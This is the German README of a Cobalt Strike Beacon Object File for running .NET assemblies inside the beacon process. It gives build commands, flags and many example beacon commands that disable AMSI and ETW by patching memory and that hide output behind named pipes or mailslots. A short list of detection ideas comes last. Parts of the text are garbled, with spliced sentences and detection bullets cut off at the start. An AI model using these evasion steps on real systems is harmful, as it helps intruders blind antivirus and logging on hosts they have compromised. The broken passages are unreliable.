
Cobalt Strike BOF für die prozessinterne .NET-Assembly-Ausführung mit AMSI/ETW-Umgehung, benutzerdefinierter AppDomain und Ausgabeumleitung über Named Pipes/Mailslots.
InlineExecute-Assembly ist ein Proof-of-Concept Beacon Object File (BOF), das es Sicherheitsexperten ermöglicht, .NET-Assemblys prozessintern auszuführen – als Alternative zum traditionellen Fork-and-Run-Modul execute-assembly von Cobalt Strike. InlineExecute-Assembly führt jede Assembly mit dem Einstiegspunkt Main(string[] args) oder Main() aus. Dadurch sollten die meisten veröffentlichten Tools ohne vorherige Anpassung laufen.
Das BOF ermittelt automatisch, welche Common Language Runtime (CLR) (v2.0.50727 oder v4.0.30319) für Ihre Assembly in den Prozess geladen werden muss, bevor es zur Ausführung kommt. In den meisten Fällen sollte es sich bei Problemen ordentlich beenden. Das BOF unterstützt außerdem mehrere Flags, mit denen der Operator verschiedene Verhaltensweisen vor der .NET-Ausführung festlegen kann: Deaktivieren von AMSI durch In-Memory-Patching, Deaktivieren und Wiederherstellen von ETW durch In-Memory-Patching, Anpassung des zu erstellenden CLR-AppDomain-Namens, Festlegen, ob die Konsolenausgabe Ihrer Assembly über eine Named Pipe oder ein Mailslot umgeleitet werden soll, sowie Umschalten des Standard-Einstiegspunkts von Main(string[] args) auf Main(). Weitere Details zur Nutzung, zu Anwendungsfällen und möglichen Erkennungen finden Sie unten sowie auf https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/.
Der Vorteil der Ausführung unserer .NET-Assemblys im selben Prozess wie unser Beacon-Implantat ist schließlich, dass wir das Standardverhalten des execute-assembly-Moduls von Cobalt Strike vermeiden, das einen neuen Prozess erstellt, um die CLR/.NET-Assembly zu laden/injizieren. Dennoch bestehen andere opsec-bedingte Überlegungen – zum Beispiel: Lädt der Prozess, in dem wir ausführen, normalerweise die CLR? Hat die ausgeführte .NET-Assembly bekannte Signaturen? Der Nachteil ist daher, dass bei einer Erkennung und Beseitigung (z. B. durch AMSI) auch Ihr Beacon beseitigt wird.
Dieses Tool wäre nicht ohne die großartige Forschung, Tools und Code möglich gewesen, die bereits von Mitgliedern der Sicherheitsgemeinschaft veröffentlicht wurden. Vielen Dank dafür. Falls jemand unten vergessen wurde, lassen Sie es mich bitte wissen, und ich werde ihn ergänzen.
inlineExecute-Assembly --dotnetassembly /pfad/zu/assembly.exe für die grundlegendste Ausführung aus (siehe Anwendungsfälle unten für spezifische Flag-Beispiele).Führen Sie den folgenden Befehl im Verzeichnis src über die x64 Native Tools-Eingabeaufforderung für VS 2019 aus:
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
Führen Sie den folgenden Befehl im Verzeichnis src über die x86 Native Tools-Eingabeaufforderung für VS 2019 aus:
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
--dotnetassembly Directory path to your assembly **required**
--assemblyargs Assembly arguments to pass
--appdomain Change default name of AppDomain sent (default value is totesLegit and is set via the included aggressor script) *Domain always unloaded*
--amsi Attempts to disable AMSI via in memory patching (If successful AMSI will be disabled for the entire life of process)
--etw Attempts to disable ETW via in memory patching (If successful ETW will be disabled for the entire life of process unless reverted)
--revertetw Attempts to disable ETW via in memory patching and then repatches it back to original state
--pipe Change default name of named pipe (default value is totesLegit and is set via the included aggressor script)
--mailslot Switches to using mailslots to redirect console output. Changes default name of mailslot (If left blank, default value is totesLegit and is set via the included aggressor script)
--main Changes entry point to Main() (default value is Main(string[] args))
.NET-Assembly ausführen
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
.NET-Assembly mit Argumenten ausführen
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
.NET-Assembly mit Argumenten ausführen und AMSI deaktivieren
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
.NET-Assembly mit Argumenten ausführen und ETW deaktivieren
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
.NET-Assembly mit Argumenten ausführen und Ausgabe über Mailslots anstelle der standardmäßigen Named Pipe umleiten
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
.NET-Assembly mit Argumenten ausführen und den im Aggressor-Skript festgelegten Standard-Named-Pipe-Namen ändern
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
.NET-Assembly ausführen und die im Aggressor-Skript festgelegte Standard-AppDomain ändern
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
.NET-Assembly mit dem Einstiegspunkt Main() anstelle des Standard-Einstiegspunkts Main(string[] args) ausführen
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
Volles Programm
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
Environment.Exit verwendet, muss dies entfernt werden, da es den Prozess und das Beacon beendet.Einige Erkennungs- und Abwehrstrategien, die verwendet werden könnten:
PAGE_EXECUTE_READWRITE beim Durchführen von AMSI- und ETW-Memory-Patching. Dies wurde absichtlich so gemacht und sollte ein Warnsignal sein, da nur sehr wenige Programme Speicherbereiche mit dem Schutz PAGE_EXECUTE_READWRITE haben.totesLegit. Dies wurde absichtlich so gemacht, und Signaturerkennungen könnten verwendet werden, um dies zu markieren.totesLegit. Dies wurde absichtlich so gemacht, und Signaturerkennungen könnten verwendet werden, um dies zu markieren.totesLegit. Dies wurde absichtlich so gemacht, und Signaturerkennungen könnten verwendet werden, um dies zu markieren.